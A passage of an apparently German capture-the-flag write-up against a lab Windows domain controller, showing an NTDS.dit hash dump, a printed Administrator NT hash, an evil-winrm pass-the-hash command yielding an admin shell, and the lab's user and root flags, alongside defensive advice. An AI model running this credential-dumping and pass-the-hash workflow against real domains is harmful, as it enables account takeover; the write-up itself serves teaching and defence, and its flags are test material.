**Analyse:** 1. Wir bestätigen mit `netexec` den erfolgreichen Login als `fbeth103` mit dem neuen Passwort. 2. Wir verwenden `crackmapexec` (oder `nxc`) mit der Option `--ntds`, um die NTDS.dit-Datenbank vom Domain Controller zu dumpen. Dies erfordert Domain-Admin-Rechte, die `fbeth103` indirekt besitzt. 3. Der Dump ist erfolgreich und liefert uns die NTLM-Hashes der Domain-Benutzer im Format `UserName:RID:LMHash:NTHash:::`. Besonders wichtig ist der Hash für den Benutzer `Administrator`: `aad3b...` (LM-Hash, oft leer) und `2176416a80e4f62804f101d3a55d6c93` (NT-Hash).

**Bewertung:** Kritischer Erfolg! Wir haben den NT-Hash des Domain-Administrators erlangt. Mit diesem Hash können wir uns als Administrator authentifizieren, ohne das Klartextpasswort zu kennen (Pass-the-Hash).

**Empfehlung (Pentester):** Den NT-Hash des Administrators (`2176...`) verwenden, um mittels Pass-the-Hash (PtH) eine administrative Sitzung auf dem DC zu erhalten. Tools wie `evil-winrm`, `psexec.py` oder `wmiexec.py` unterstützen PtH. Anschließend die Root-Flag (auf Windows: Administrator-Desktop oder Verzeichnis) suchen. **Empfehlung (Admin):** Schutz vor NTDS-Dumps implementieren (Zugriff auf DC einschränken, Monitoring). Passwörter für Admin-Konten regelmäßig ändern und sehr stark wählen. Credential Guard (falls möglich) aktivieren, um PtH zu erschweren.

Wir verwenden den NTLM-Hash des Administrators mit `evil-winrm`, um eine administrative Remote-Shell zu erhalten und die Root-Flag zu lesen.

┌──(root㉿CCat)-[~/Hackingtools/bloodyAD] └─# evil-winrm -i 192.168.2.116 -H '2176416a80e4f62804f101d3a55d6c93' -u 'Administrator'
Evil-WinRM shell v3.5
[...]
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> # Erfolgreiche Verbindung!
                       
*Evil-WinRM* PS C:\Users\Administrator\Documents> ls
    Directory: C:\Users\Administrator\Documents
Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         7/31/2024  10:48 PM             72 start.bat
                       
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ~
*Evil-WinRM* PS C:\Users\Administrator> cd desktop
*Evil-WinRM* PS C:\Users\Administrator\desktop> ls
    Directory: C:\Users\Administrator\desktop
Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         7/31/2024  10:33 PM             70 root.txt
                       
*Evil-WinRM* PS C:\Users\Administrator\desktop> cat root.txt
b8e59a7d4020792c412da75e589ff4fc

**Analyse:** 1. Wir verwenden `evil-winrm`, ein Tool zur Interaktion mit Windows über WinRM. * `-i 192.168.2.116`: Ziel-IP. * `-H '2176...'`: Gibt den NT-Hash für die Authentifizierung an (Pass-the-Hash). * `-u 'Administrator'`: Der Benutzername. 2. Die Verbindung wird erfolgreich hergestellt, und wir erhalten eine PowerShell als Administrator. 3. Wir navigieren zum Desktop des Administrators (`cd ~`, `cd desktop`). 4. Wir finden die Datei `root.txt` und lesen ihren Inhalt mit `cat` aus.

**Bewertung:** Privilege Escalation zu Domain Administrator erfolgreich durch Pass-the-Hash! Root-Flag erlangt.

**Empfehlung (Pentester):** Bericht abschließen. **Empfehlung (Admin):** PtH durch Maßnahmen wie Credential Guard erschweren. Starke Admin-Passwörter, regelmäßige Rotation. Monitoring von WinRM-Verbindungen.

Flags

smbclient \\\\DC01\\share -U XKATE578 [...] -> get user.txt
12f54a96f64443246930da001cafda8b
evil-winrm [...] -> cd Desktop -> cat root.txt
b8e59a7d4020792c412da75e589ff4fc